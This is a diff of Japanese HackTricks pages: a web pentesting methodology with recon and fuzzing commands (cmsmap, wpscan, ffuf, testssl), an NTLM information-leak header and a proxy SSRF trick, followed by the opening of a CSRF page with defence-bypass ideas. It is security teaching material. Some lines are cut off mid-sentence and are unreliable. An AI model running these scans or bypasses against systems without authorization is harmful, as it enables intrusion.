[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**、** [**Wordpress**](wordpress.md)**、** [**Drupal**](drupal.md)**、PrestaShop、Opencart**\
|
||||
**CMSMap**: [**(W)ordpress**](wordpress.md)**、** [**(J)oomla**](joomla.md)**、** [**(D)rupal**](drupal.md)**または** [**(M)oodle**](moodle.md)\
|
||||
[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal.md)**、** [**Joomla**](joomla.md)**、** [**Moodle**](moodle.md)**、Silverstripe**、[**Wordpress**](wordpress.md)
|
||||
[**CMSScan**](https://github.com/ajinabraham/CMSScan): セキュリティの問題を抱えている[**WordPress**](wordpress.md)、[**Drupal**](drupal.md)、**Joomla**、**vBulletin**のウェブサイト(GUI)\
|
||||
[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**、**[**Wordpress**](wordpress.md)**、**[**Drupal**](drupal.md)**、PrestaShop、Opencart**\
|
||||
**CMSMap**: [**(W)ordpress**](wordpress.md)**、**[**(J)oomla**](joomla.md)**、**[**(D)rupal**](drupal.md)**または**[**(M)oodle**](moodle.md)\
|
||||
[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal.md)**、**[**Joomla**](joomla.md)**、**[**Moodle**](moodle.md)**、Silverstripe**、[**Wordpress**](wordpress.md)
|
||||
```bash
|
||||
cmsmap [-f W] -F -d <URL>
|
||||
wpscan --force update -e --url <URL>
|
||||
|
@ -166,7 +166,7 @@ joomlavs.rb #https://github.com/rastating/joomlavs
|
|||
|
||||
### 初期チェック
|
||||
|
||||
**興味深い情報を持つデフォルトページ:**
|
||||
**興味深い情報を持つデフォルトページ:**
|
||||
|
||||
* /robots.txt
|
||||
* /sitemap.xml
|
||||
|
@ -186,17 +186,17 @@ joomlavs.rb #https://github.com/rastating/joomlavs
|
|||
|
||||
#### **ファイルのアップロードが可能かどうかを確認する(**[**PUT動詞、WebDav**](put-method-webdav.md)**)**
|
||||
|
||||
WebDavが**有効**になっていることがわかったが、ルートフォルダにファイルをアップロードするための十分な権限がない場合は、次の方法を試してみてください:
|
||||
WebDavが**有効**になっていることがわかった場合、ルートフォルダにファイルをアップロードするための十分な権限がない場合は、次の方法を試してみてください:
|
||||
|
||||
* 資格情報を**ブルートフォース**する
|
||||
* WebDavを使用してウェブページ内の**他のフォルダ**にファイルをアップロードする。他のフォルダにファイルをアップロードする権限があるかもしれません。
|
||||
* 資格情報を**ブルートフォース**で破る
|
||||
* WebDavを使用してウェブページ内の**他のフォルダ**にファイルをアップロードします。他のフォルダにファイルをアップロードする権限があるかもしれません。
|
||||
|
||||
### **SSL/TLSの脆弱性**
|
||||
|
||||
* アプリケーションがいかなる部分でも**HTTPSの使用を強制していない**場合、MitMの脆弱性があります
|
||||
* アプリケーションがHTTPを使用して**機密データ(パスワード)を送信**している場合、高い脆弱性です。
|
||||
* アプリケーションがHTTPを使用して機密データ(パスワード)を送信している場合、高い脆弱性です。
|
||||
|
||||
[**testssl.sh**](https://github.com/drwetter/testssl.sh)を使用して**脆弱性**をチェックします(Bug Bountyプログラムでは、おそらくこの種の脆弱性は受け入れられません)。また、[**a2sv**](https://github.com/hahwul/a2sv)を使用して脆弱性を再確認します。
|
||||
[**testssl.sh**](https://github.com/drwetter/testssl.sh)を使用して**脆弱性**をチェックします(Bug Bountyプログラムでは、おそらくこの種の脆弱性は受け入れられません)。また、[**a2sv**](https://github.com/hahwul/a2sv)を使用して脆弱性を再確認します:
|
||||
```bash
|
||||
./testssl.sh [--htmlfile] 10.10.10.10:443
|
||||
#Use the --htmlfile to save the output inside an htmlfile also
|
||||
|
@ -212,7 +212,7 @@ SSL/TLSの脆弱性に関する情報:
|
|||
|
||||
### スパイダリング
|
||||
|
||||
ウェブ内である種の**スパイダー**を起動します。スパイダーの目標は、テスト対象のアプリケーションからできるだけ多くのパスを見つけることです。そのために、ウェブクローリングと外部ソースを使用して、できるだけ多くの有効なパスを見つける必要があります。
|
||||
ウェブ内である種の**スパイダー**を起動します。スパイダーの目標は、テスト対象のアプリケーションから**できるだけ多くのパスを見つけること**です。そのために、ウェブクローリングと外部ソースを使用して、できるだけ多くの有効なパスを見つける必要があります。
|
||||
|
||||
* [**gospider**](https://github.com/jaeles-project/gospider) (go): HTMLスパイダー、JSファイルと外部ソース(Archive.org、CommonCrawl.org、VirusTotal.com、AlienVault.com)でのLinkFinder。
|
||||
* [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HMLスパイダー、JSファイルと外部ソース(Archive.org)でのLinkFinder。
|
||||
|
@ -230,28 +230,27 @@ SSL/TLSの脆弱性に関する情報:
|
|||
* [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash、いくつかのツール): いくつかのツールを使用してJSファイルから興味深い情報を収集します。
|
||||
* [**subjs**](https://github.com/lc/subjs) (go): JSファイルを見つけます。
|
||||
* [**page-fetch**](https://github.com/detectify/page-fetch) (go): ヘッドレスブラウザでページを読み込み、読み込まれたすべてのURLを表示します。
|
||||
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): 前述のツールのいくつかのオプションを組み合わせたコンテンツディスカバリーツール
|
||||
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): 複数の前述のツールのオプションを組み合わせたコンテンツディスカバリーツール
|
||||
* [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): JSファイルからパスとパラメータを見つけるためのBurp拡張機能。
|
||||
* [**Sourcemapper**](https://github.com/denandz/sourcemapper): .js.mapのURLを指定すると、美化されたJSコードを取得します。
|
||||
* [**Sourcemapper**](https://github.com/denandz/sourcemapper): .js.mapのURLが与えられると、美しく整形されたJSコードを取得します。
|
||||
* [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): 指定されたターゲットのエンドポイントを発見するためのツールです。
|
||||
* [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Wayback Machineからリンクを発見します(Wayback Machineからのレスポンスをダウンロードし、さらなるリンクを探します)。
|
||||
* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): 特定の正規表現を使用してクロール(フォームの入力も含む)し、機密情報も見つけます。
|
||||
* [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suiteは、サイバーセキュリティの専門家向けに設計された高度なマルチ機能GUIウェブセキュリティクローラー/スパイダーです。
|
||||
* [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Wayback Machineからリンクを発見します(Wayback Machineでのレスポンスもダウンロードし、さらなるリンクを探します)。
|
||||
* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): フォームの入力などを使用してクロールし、特定の正規表現を使用して機密情報を見つけます。
|
||||
* [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suiteは、サイバーセキュリティの専門家向けの高度なマルチ機能GUIウェブセキュリティクローラー/スパイダーです。
|
||||
* [**jsluice**](https://github.com/BishopFox/jsluice) (go): Goパッケージおよび[コマンドラインツール](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice)で、JavaScriptソースコードからURL、パス、シークレットなどの興味深いデータを抽出します。
|
||||
|
||||
### ディレクトリとファイルのブルートフォース
|
||||
|
||||
ルートフォルダから**ブルートフォース**を開始し、**見つかったすべてのディレクトリ**をブルートフォースしてください。これをスパイダリングで**再帰的に**行い、見つかったディレクトリの名前を使用したワードリストの先頭に追加します。\
|
||||
ツール:
|
||||
|
||||
* **Dirb** / **Dirbuster** - Kaliに含まれていますが、**古く**(そして**遅い**)ですが、機能します。自己署名証明書と再帰的な検索を許可します。他のオプションと比べて遅すぎます。
|
||||
* **Dirb** / **Dirbuster** - Kaliに含まれていますが、**古い**(そして**遅い**)ですが、機能します。自己署名証明書と再帰的な検索を許可します。他のオプションと比べて遅すぎます。
|
||||
* [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: 自己署名証明書は許可しませんが**再帰的な検索を許可します。
|
||||
* [**Gobuster**](https://github.com/OJ/gobuster) (go): 自己署名証明書を許可し、**再帰的な**検索はありません。
|
||||
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- 速く、再帰的な検索をサポートします。**
|
||||
* [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
|
||||
* [**ffuf** ](https://github.com/ffuf/ffuf)- 速い: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
|
||||
* [**uro**](https://github.com/s0md3v/uro) (python): これ
|
||||
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- 速く、再帰的な検索を
|
||||
* [**Dirsearch**に含まれる辞書](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
|
||||
* [http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10](http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10)
|
||||
* [Assetnote wordlists](https://wordlists.assetnote.io)
|
||||
* [Assetnoteワードリスト](https://wordlists.assetnote.io)
|
||||
* [https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content](https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content)
|
||||
* raft-large-directories-lowercase.txt
|
||||
* directory-list-2.3-medium.txt
|
||||
|
@ -264,55 +263,59 @@ SSL/TLSの脆弱性に関する情報:
|
|||
* _/usr/share/wordlists/dirb/big.txt_
|
||||
* _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
|
||||
|
||||
_新しいディレクトリがブルートフォースやスパイダリング中に発見された場合、ブルートフォースを行う必要があります。_
|
||||
_ブルートフォースやスパイダリング中に新しいディレクトリが発見された場合、ブルートフォースを行う必要があります。_
|
||||
|
||||
### 各ファイルでチェックする項目
|
||||
### 各ファイルのチェック項目
|
||||
|
||||
* [**リンク切れチェッカー**](https://github.com/stevenvachon/broken-link-checker): ページの中にあるリンク切れを見つけ、乗っ取りの可能性があるものを見つけます。
|
||||
* **ファイルのバックアップ**: すべてのファイルを見つけた後、すべての実行可能ファイル(「_.php_」、「_.aspx_」など)のバックアップを探します。バックアップの一般的なバリエーションは次のとおりです: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp, file.old._ ツール[**bfac**](https://github.com/mazen160/bfac)も使用できます。
|
||||
* **新しいパラメータの発見**: [**Arjun**](https://github.com/s0md3v/Arjun)**、**[**parameth**](https://github.com/maK-/parameth)**、**[**x8**](https://github.com/sh1yo/x8)**、**[**Param Miner**](https://github.com/PortSwigger/param-miner)などのツールを使用して、隠されたパラメータを発見することができます。可能であれば、各実行可能なWebファイルで隠されたパラメータを検索してみることもできます。
|
||||
* _Arjunのすべてのデフォルトのワードリスト:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
|
||||
* [**リンク切れチェッカー**](https://github.com/stevenvachon/broken-link-checker): ターゲットになる可能性のあるHTML内のリンク切れを検出します。
|
||||
* **ファイルのバックアップ**: すべてのファイルを見つけた後、実行可能ファイル(「_.php_」、「_.aspx_」など)のバックアップを探します。バックアップの一般的なバリエーションは次のとおりです: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp, file.old._ ツール[**bfac**](https://github.com/mazen160/bfac)も使用できます。
|
||||
* **新しいパラメータの発見**: [**Arjun**](https://github.com/s0md3v/Arjun)**、**[**parameth**](https://github.com/maK-/parameth)**、**[**x8**](https://github.com/sh1yo/x8)**、**[**Param Miner**](https://github.com/PortSwigger/param-miner)などのツールを使用して、隠されたパラメータを発見できます。可能であれば、各実行可能なWebファイルで隠されたパラメータを検索してみることもできます。
|
||||
* _Arjunのすべてのデフォルトワードリスト:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
|
||||
* _Param-minerの「params」:_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
|
||||
* _Assetnoteの「parameters\_top\_1m」:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
|
||||
* _nullenc0deの「params.txt」:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
|
||||
* **コメント**: すべてのファイルのコメントをチェックし、**資格情報**や**隠された機能**を見つけることができます。
|
||||
* **CTF**をプレイしている場合、**ページの右側**(ブラウザでソースコードを開いてもデータが見えないように**数百のスペース**を使用)のコメントに**情報を隠す**という「一般的な」トリックもあります。別の可能性として、**複数の改行**を使用し、ウェブページの**一番下**にコメントで**情報を隠す**こともできます。
|
||||
* **APIキー**: もし**APIキー**を見つけた場合、異なるプラットフォームのAPIキーの使用方法を示すガイドがあります: [**keyhacks**](https://github.com/streaak/keyhacks)**、**[**zile**](https://github.com/xyele/zile.git)**、**[**truffleHog**](https://github.com/trufflesecurity/truffleHog)**、**[**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**、**[**RegHex**](https://github.com/l4yton/RegHex\)/)**、**[**DumpsterDive**](https://github.com/securing/DumpsterDiver)**、**[**EarlyBird**](https://github.com/americanexpress/earlybird)
|
||||
* GoogleのAPIキー: **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjikのようなAPIキーを見つけた場合、プロジェクト[**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner)を使用して、キーがアクセスできるAPIを確認できます。
|
||||
* **S3バケット**: スパイダリング中に、いずれかの**サブドメイン**または**リンク**がS3バケットに関連しているかどうかを確認してください。その場合は、[**バケットの権限**をチェック](buckets/)してください。
|
||||
* **CTF**をプレイしている場合、**ページの右側**にコメント内に**情報を隠す**という「一般的な」トリックがあります(ブラウザでソースコードを開いてもデータが見えないように、**数百のスペース**を使用します)。他の可能性としては、**複数の改行**を使用して、ウェブページの**一番下**にコメントで情報を隠すことがあります。
|
||||
* **APIキー**: もし**APIキー**を見つけた場合、異なるプラットフォームのAPIキーの使用方法に関するガイドがあります: [**keyhacks**](https://github.com/streaak/keyhacks)**、**[**zile**](https://github.com/xyele/zile.git)**、**[**truffleHog**](https://github.com/trufflesecurity/truffleHog)**、**[**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**、**[**RegHex**](https://github.com/l4yton/RegHex\)/)**、**[**DumpsterDive**](https://github.com/securing/DumpsterDiver)**、**[**EarlyBird**](https://github.com/americanexpress/earlybird)
|
||||
* Google APIキー: **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjikのようなAPIキーを見つけた場合、プロジェクト[**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner)を使用して、キーがアクセスできるAPIを確認できます。
|
||||
* **S3バケット**: スパイダリング中に、いずれかの**サブドメイン**または**リンク**がS3バケットに関連しているかどうかを確認してください。その場合は、[**バケットの権限**を確認してください](buckets/)。
|
||||
|
||||
### 特別な発見
|
||||
|
||||
**スパイダリング**と**ブルートフォース**を行う中で、**興味深い****もの**を見つけることがあります。それらには**注意**が必要です。
|
||||
**スパイダリング**や**ブルートフォース**を行う中で、**興味深い****もの**を見つけることがあります。これらには**注意**が必要です。
|
||||
|
||||
**興味深いファイル**
|
||||
|
||||
* **CSS**ファイル内の他のファイルへの**リンク**を探します。
|
||||
* _**.git**_ファイルを見つけた場合、いくつかの情報を抽出することができます([詳細はこちら](git.md))。
|
||||
* _**.env**_ファイルを見つけた場合、APIキー、DBのパスワードなどの情報が見つかる場合があります。
|
||||
* _**.git**_ファイルを見つけた場合、いくつかの情報を抽出できます([詳細はこちら](git.md))。
|
||||
* _**.env**_ファイルを見つけた場合、APIキー、DBのパスワードなどの情報が見つかる可能性があります。
|
||||
* **APIエンドポイント**を見つけた場合、[テストする必要があります](web-api-pentesting.md)。これらはファイルではありませんが、おそらく「ファイルのように」見えるでしょう。
|
||||
* **JSファイル**: スパイダリングのセクションでは、JSファイルからパスを抽出することができるいくつかのツールについて説明しました。また、コードに潜在的な脆弱性が導入された可能性を示す変更があるかどうか、**見つかった各JSファイルを監視する**ことも興味深いでしょう。たとえば、[**JSMon**](https://github.com/robre/jsmon)**を使用**することができます。
|
||||
* 発見したJSファイルを[**RetireJS**](https://github.com/retirejs/retire.js/)や[**JSHole**](https://github.com/callforpapers-source/jshole)で脆弱性があるかどうかをチェックする必要があります。
|
||||
* **JSファイル**: スパイダリングセクションでは、JSファイルからパスを抽出するツールがいくつか紹介されています。また、見つかった各JSファイルを**監視する**ことも興味深いです。なぜなら、変更がある場合、コードに潜在的な脆弱性が導入された可能性があるからです。たとえば、[**JSMon**](https://github.com/robre/jsmon)を使用できます。
|
||||
* 発見したJSファイルは、[**RetireJS**](https://github.com/retirejs/retire.js/)や[**JSHole**](https://github.com/callforpapers-source/jshole)で脆弱性があるかどうかをチェックする必要があります。
|
||||
* **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
|
||||
* **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
|
||||
* **JsFuck deobfuscation**(文字列
|
||||
* **JsFuck deobfuscation**(文字列:"\[]!+"を含むJavaScript)[https://ooze.ninja/javascript/poisonjs/](https://oo
|
||||
* **フォームが検出されたファイルを監視**することもできます。パラメータの変更や新しいフォームの出現は、潜在的な脆弱な機能の指標となる可能性があります。
|
||||
|
||||
**403 Forbidden/Basic Authentication/401 Unauthorized (バイパス)**
|
||||
|
||||
{% content-ref url="403-and-401-bypasses.md" %}
|
||||
[403-and-401-bypasses.md](403-and-401-bypasses.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
**502 Proxy Error**
|
||||
|
||||
もしページがこのコードで応答する場合、おそらく設定が間違っているプロキシです。`GET https://google.com HTTP/1.1`のようなHTTPリクエストを送信すると(ホストヘッダーと他の一般的なヘッダーを含む)、プロキシは_google.com_にアクセスしようとします。これにより、SSRFを見つけることができます。
|
||||
もしページがこの**コード**で**応答**する場合、おそらく**設定が誤っているプロキシ**です。**`GET https://google.com HTTP/1.1`**(ホストヘッダーと他の一般的なヘッダーを含む)のようなHTTPリクエストを送信すると、**プロキシ**は_google.com_に**アクセス**し、SSRFを見つけることができます。
|
||||
|
||||
**NTLM認証 - 情報漏洩**
|
||||
|
||||
実行中のサーバーがWindowsで認証を要求している場合、または資格情報を要求するログインが見つかった場合(およびドメイン名を要求する場合)、情報漏洩を引き起こすことができます。\
|
||||
`“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”`というヘッダーを送信すると、NTLM認証の動作方法により、サーバーはヘッダー「WWW-Authenticate」内に内部情報(IISバージョン、Windowsバージョンなど)を含んだ応答を返します。\
|
||||
これは、_http-ntlm-info.nse_というnmapプラグインを使用して自動化することができます。
|
||||
認証を求める実行中のサーバーが**Windows**であるか、**資格情報**を求めるログインが見つかった場合(および**ドメイン名**を求める場合)、情報漏洩を引き起こすことができます。\
|
||||
`“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”`という**ヘッダー**を**送信**すると、**NTLM認証の仕組み**により、サーバーはヘッダーの「WWW-Authenticate」内に内部情報(IISバージョン、Windowsバージョンなど)を返します。\
|
||||
これは_nmapプラグイン_「_http-ntlm-info.nse_」を使用して**自動化**することができます。
|
||||
|
||||
**HTTPリダイレクト(CTF)**
|
||||
|
||||
リダイレクト内にコンテンツを配置することが可能です。このコンテンツはユーザーに表示されません(ブラウザがリダイレクトを実行するため)、しかし何かがそこに隠されている可能性があります。
|
||||
**リダイレクト**内に**コンテンツ**を配置することが可能です。このコンテンツはユーザーには表示されません(ブラウザがリダイレクトを実行するため)、しかし何かが**隠されている**可能性があります。
|
||||
|
||||
### Web脆弱性のチェック
|
||||
|
||||
|
@ -322,7 +325,7 @@ _新しいディレクトリがブルートフォースやスパイダリング
|
|||
[web-vulnerabilities-methodology](../../pentesting-web/web-vulnerabilities-methodology/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
TODO: [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist)と[https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web\_application\_security\_testing/configuration\_and\_deployment\_management\_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web\_application\_security\_testing/configuration\_and\_deployment\_management\_testing.html)、[https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection](https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection)を使用して脆弱性とテクニックのリストを完成させる。
|
||||
TODO: [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist)と[https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web\_application\_security\_testing/configuration\_and\_deployment\_management\_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web\_application\_security\_testing/configuration\_and\_deployment\_management\_testing.html)、[https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection](https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection)を使用して、脆弱性とテクニックのリストを完成させてください。
|
||||
|
||||
### ページの変更を監視する
|
||||
|
||||
|
@ -407,10 +410,10 @@ Command: ffuf -w {Subdomain_List}:FUZZ -u {Web_Proto}://{Domain_Name} -H "Host:F
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? HackTricksで**会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **サイバーセキュリティ企業**で働いていますか? HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンをダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。これは、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **ハッキングのトリックを共有**するために、[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks)と[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,7 +4,7 @@
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ会社で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
|
@ -18,38 +18,38 @@
|
|||
|
||||
🐞 web3のバグチュートリアルを読む
|
||||
|
||||
🔔 新しいバグ報奨金について通知を受ける
|
||||
🔔 新しいバグバウンティについて通知を受ける
|
||||
|
||||
💬 コミュニティディスカッションに参加する
|
||||
|
||||
## CSRFとは?
|
||||
|
||||
**クロスサイトリクエストフォージェリ(Cross-site request forgery、CSRF)**は、攻撃者がユーザーに意図しないアクションを実行させることができるウェブセキュリティの脆弱性です。\
|
||||
**クロスサイトリクエストフォージェリ**(CSRF)は、ウェブセキュリティの脆弱性であり、攻撃者がユーザーに**意図しないアクションを実行させる**ことができます。\
|
||||
これは、**ログインしているユーザー**が攻撃者が制御するウェブサイトにアクセスし、そこから悪意のあるJSコードを実行したり、フォームを送信したり、"画像"を**被害者のアカウント**に取得することで行われます。
|
||||
|
||||
### 必要条件
|
||||
|
||||
CSRFの脆弱性を悪用するためには、まず**悪用する重要なアクションを見つける必要があります**(パスワードやメールアドレスの変更、被害者をソーシャルネットワークでフォローさせる、より多くの特権を与えるなど)。セッションは**クッキーまたはHTTPベーシック認証ヘッダーにのみ依存**する必要があり、他のヘッダーはセッションの処理に使用できません。そして、リクエストに**予測不可能なパラメータ**がない必要があります。
|
||||
CSRFの脆弱性を悪用するためには、まず**悪用する重要なアクションを見つける必要があります**(パスワードやメールアドレスの変更、被害者をソーシャルネットワークでフォローさせる、より多くの特権を与えるなど)。セッションは**クッキーまたはHTTPベーシック認証ヘッダーにのみ依存**している必要があり、他のヘッダーはセッションの処理に使用できません。そして、リクエストに**予測不可能なパラメーターがない**必要があります。
|
||||
|
||||
この脆弱性を回避するためには、いくつかの**対策**が取られる場合があります。
|
||||
|
||||
### **一般的な防御策**
|
||||
|
||||
* [**SameSiteクッキー**](hacking-with-cookies/#samesite):セッションクッキーがこのフラグを使用している場合、任意のウェブサイトからクッキーを送信できない場合があります。
|
||||
* [**クロスオリジンリソース共有**](cors-bypass.md):関連するアクションを悪用するために実行する必要があるHTTPリクエストの種類に応じて、被害者サイトの**CORSポリシー**を考慮する必要があります。_CORSポリシーは、単にGETリクエストまたはフォームからのPOSTリクエストを送信し、応答を読み取る必要がない場合には影響しません。_
|
||||
* [**SameSiteクッキー**](hacking-with-cookies/#samesite): セッションクッキーがこのフラグを使用している場合、任意のウェブサイトからクッキーを送信できない場合があります。
|
||||
* [**クロスオリジンリソース共有**](cors-bypass.md): 関連するアクションを悪用するために実行する必要があるHTTPリクエストの種類に応じて、被害者サイトの**CORSポリシー**を考慮する必要があります。_CORSポリシーは、単にGETリクエストまたはフォームからのPOSTリクエストを送信し、応答を読み取る必要がない場合には影響しません。_
|
||||
* **パスワード**ユーザーにアクションを許可するように要求する。
|
||||
* **キャプチャ**を解決する
|
||||
* **リファラ**または**オリジン**ヘッダーを読み取る。正規表現が使用されている場合、次のようにバイパスできます。
|
||||
* **リファラ**または**オリジン**ヘッダーを読む。正規表現が使用されている場合、次のようにバイパスできます。
|
||||
* http://mal.net?orig=http://example.com(URLで終わる)
|
||||
* http://example.com.mal.net(URLで始まる)
|
||||
* POSTまたはGETリクエストのパラメータの**名前**を**変更**する
|
||||
* 各セッションで**CSRFトークン**を使用する。このトークンは、アクションを確認するためにリクエスト内で送信する必要があります。このトークンはCORSで保護することができます。
|
||||
* POSTまたはGETリクエストのパラメーターの**名前**を**変更**する
|
||||
* 各セッションで**CSRFトークン**を使用する。このトークンは、アクションを確認するためにリクエスト内に送信する必要があります。このトークンはCORSで保護される場合があります。
|
||||
|
||||
### CSRFマップ
|
||||
|
||||
![](<../.gitbook/assets/image (112).png>)
|
||||
|
||||
## 防御回避
|
||||
## 防御バイパス
|
||||
|
||||
### POSTからGETへ
|
||||
|
||||
|
@ -57,37 +57,37 @@ CSRFの脆弱性を悪用するためには、まず**悪用する重要なア
|
|||
|
||||
